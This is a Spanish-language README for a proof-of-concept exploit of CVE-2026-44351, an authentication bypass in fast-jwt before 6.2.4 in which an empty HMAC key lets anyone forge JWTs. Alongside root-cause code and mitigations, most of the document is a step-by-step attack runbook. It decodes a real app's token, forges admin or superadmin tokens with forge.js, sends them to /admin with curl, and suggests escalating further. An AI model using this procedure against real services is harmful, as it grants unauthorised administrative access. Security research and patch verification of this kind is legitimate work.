
Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid.
fast-jwtPoC del bypass de autenticación (auth bypass) en fast-jwt (versiones anteriores a
6.2.4) que permite a cualquier atacante no autenticado falsificar JWTs arbitrarios y que
sean aceptados como auténticos por la aplicación objetivo.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Validación incorrecta de claves) / CWE-287 (Autenticación incorrecta) / CWE-326 (Fuerza de cifrado inadecuada) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnerable | fast-jwt < 6.2.4 (verificado contra 6.2.3) |
| Parche | [email protected] — rechaza claves HMAC vacías con FAST_JWT_INVALID_KEY |
📄 Documentación técnica detallada (root cause con código real, anatomía del ataque, análisis del parche):
docs/CVE-2026-44351.md
fast-jwt permite pasar una función asíncrona como resolución de clave (key) — el
patrón típico cuando se integra con un servidor JWKS:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Cuando el kid del token entrante no existe, ese patrón devuelve ''. fast-jwt
convierte el string vacío en un Buffer de longitud cero (Buffer.alloc(0)), lo entrega
a crypto.createSecretKey (Node lo acepta silenciosamente) y verifica la firma del token
usando HMAC con clave vacía.
Como HMAC-SHA256(key='', input='<header>.<payload>') es computable por cualquiera, el
atacante no necesita conocer el secreto real: forja un token con los claims que quiera
(sub, admin, roles, scopes, iss, aud, …) y el verificador lo devuelve como
auténtico.
Solo afecta a la ruta de resolución de clave asíncrona (función). La configuración síncrona
key: ''es rechazada correctamente porquecreateVerifiercortocircuita sobre valores falsy.
El fallo vive en src/verifier.js. En el flujo del async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
Y la firma se valida con src/crypto.js:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) funciona, el HMAC del input es computable
por el atacante y el token forjado es aceptado.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ acepta | ✅ acepta | ✅ acepta |
(d, cb) => cb(null, '') | (default) | ✅ acepta | ✅ acepta | ✅ acepta |
async d => keys[d.header.kid] || '' | (default) | ✅ acepta | ✅ acepta | ✅ acepta |
async () => '' | ['HS256','HS384','HS512'] | ✅ acepta | ✅ acepta | ✅ acepta |
async () => '' | ['HS256','RS256'] | ✅ acepta | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
El ataque se ejecuta a mano: el único artefacto es forge.js, que fabrica el JWT
firmado con clave vacía. El envío y la validación se hacen con curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
El Docker solo sirve para correr el target vulnerable, no para explotar. El resto del ataque es manual.
Identifica un JWT real de la app (por ejemplo desde una petición autenticada) e inspecciona su header/payload sin validar la firma:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Puntos a validar:
kid → la app resuelve claves por kid (posible JWKS).kid roto con 401 pero no presenta
invalid algo/invalid key, el resolver probablemente haga keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
El script siempre firma la cabecera {alg, typ, kid} y el payload elegidos usando
HMAC-SHA* con clave vacía (secret: ""), sin conocer el secreto real de la app.
Con el token copiado (o leído del archivo):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Respuesta esperada si el objetivo es vulnerable:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Caso | Comando | Resultado |
|---|---|---|
| Sin token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Token inválido | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Token forjado | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + acceso admin |
El bypass es reproducible cambiando claims y repitiendo el paso 2–3 (post-explotación:
escalar a role, scopes, otro sub, etc.).
Comparación rápida entre la versión vulnerable y la parcheada:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
También en Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] o superior: prepareKeyOrSecret rechaza claves HMAC
de longitud cero con FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) como fallback:
devolver undefined/null y tratar ese caso como error de resolución de clave.cache: false
durante la transición: el caché de verificación (por defecto 1000 entradas / 600s TTL)
puede conservar tokens forjados previamente aceptados.El servidor expone también una consola de administración (public/) para que la
explotación se vea sobre una app real: login corporativo, dashboard con claims, panel de
acceso admin y una vista Red Team integrada.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
Cuentas de demo:
| Password | Rol | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
La app replica un SaaS legítimo:
POST /login emite un JWT firmado con el secreto real (kid: legit-kid) vía
createSigner — el signer NO es vulnerable.localStorage y golpea GET /admin, que usa el
verifier vulnerable.'' en JS puro, RFC 2104 — WebCrypto no acepta claves de longitud cero) o
pegar un token de node forge.js y probar /admin. Con admin: true responde
200 OK → bypass confirmado sin salir del navegador.El frontend es solo presentación: la vulnerabilidad sigue siendo la misma (async key resolver con
keys[kid] || '') y el flujo de ataque manual conforge.js+curldel README continúa funcionando.
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
Este material es solo para fines educativos y de investigación de seguridad. Usa el exploit únicamente contra aplicaciones propias o con autorización escrita del propietario. El uso no autorizado de esta técnica contra sistemas de terceros es ilegal y el responsable de su uso es quien lo realiza.